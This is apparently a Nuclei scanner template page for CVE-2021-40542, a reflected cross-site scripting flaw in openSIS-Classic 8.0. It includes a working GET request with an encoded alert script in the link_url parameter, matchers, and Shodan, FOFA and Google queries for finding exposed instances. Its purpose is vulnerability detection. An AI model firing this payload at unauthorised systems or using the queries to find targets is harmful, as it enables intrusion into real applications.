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Nuclei Templates

Opensis-Classic 8.0 - Cross-Site Scripting

ID: CVE-2021-40542

Severity: medium

Author: alph4byt3

Tags: cve2021,cve,xss,opensis,os4ed

Description

Section titled “Description”

Opensis-Classic Version 8.0 is affected by cross-site scripting. An unauthenticated user can inject and execute JavaScript code through the link_url parameter in Ajax_url_encode.php.

YAML Source

Section titled “YAML Source”
id: CVE-2021-40542


info:
  name: Opensis-Classic 8.0 - Cross-Site Scripting
  author: alph4byt3
  severity: medium
  description: |
    Opensis-Classic Version 8.0 is affected by cross-site scripting. An unauthenticated user can inject and execute JavaScript code through the link_url parameter in Ajax_url_encode.php.
  impact: |
    Successful exploitation of this vulnerability could allow an attacker to inject malicious scripts into web pages viewed by users, leading to potential data theft, session hijacking, or defacement of the affected application.
  remediation: |
    To mitigate this vulnerability, it is recommended to apply the latest security patches or updates provided by the vendor.
  reference:
    - https://github.com/OS4ED/openSIS-Classic/issues/189
    - https://nvd.nist.gov/vuln/detail/CVE-2021-40542
    - https://github.com/ARPSyndicate/cvemon
    - https://github.com/ARPSyndicate/kenzer-templates
  classification:
    cvss-metrics: CVSS:3.1/AV:N/AC:L/PR:N/UI:R/S:C/C:L/I:L/A:N
    cvss-score: 6.1
    cve-id: CVE-2021-40542
    cwe-id: CWE-79
    epss-score: 0.00342
    epss-percentile: 0.71484
    cpe: cpe:2.3:a:os4ed:opensis:8.0:*:*:*:*:*:*:*
  metadata:
    max-request: 1
    vendor: os4ed
    product: opensis
    shodan-query:
      - http.title:"openSIS"
      - http.title:"opensis"
    fofa-query: title="opensis"
    google-query: intitle:"opensis"
  tags: cve2021,cve,xss,opensis,os4ed


http:
  - method: GET
    path:
      - '{{BaseURL}}/Ajax_url_encode.php?link_url=%3C%2Fscript%3E%3Cscript%3Ealert%28document.domain%29%3C%2Fscript%3E'


    matchers-condition: and
    matchers:
      - type: word
        part: body
        words:
          - "</script><script>alert(document.domain)</script>"


      - type: word
        part: header
        words:
          - text/html


      - type: status
        status:
          - 200
# digest: 4b0a0048304602210081fcd508e670223a48eec222518651c8e0195f8b221f41bed922ef71477e893f022100d237ee9cac9d7b843b6fb69359a4b1ac389dc834ee95e5f8b15f1e34ba3fc2fb:922c64590222798bb761d5b6d8e72950

Guide to check the vulnerabilities

Section titled “Guide to check the vulnerabilities”

This template is used to detect vulnerabilities in web applications. It can be used with the Nuclei tool to scan for specific patterns or behaviors.

Terminal window
$ nuclei -u "URL" -t "http/cves/2021/CVE-2021-40542.yaml"

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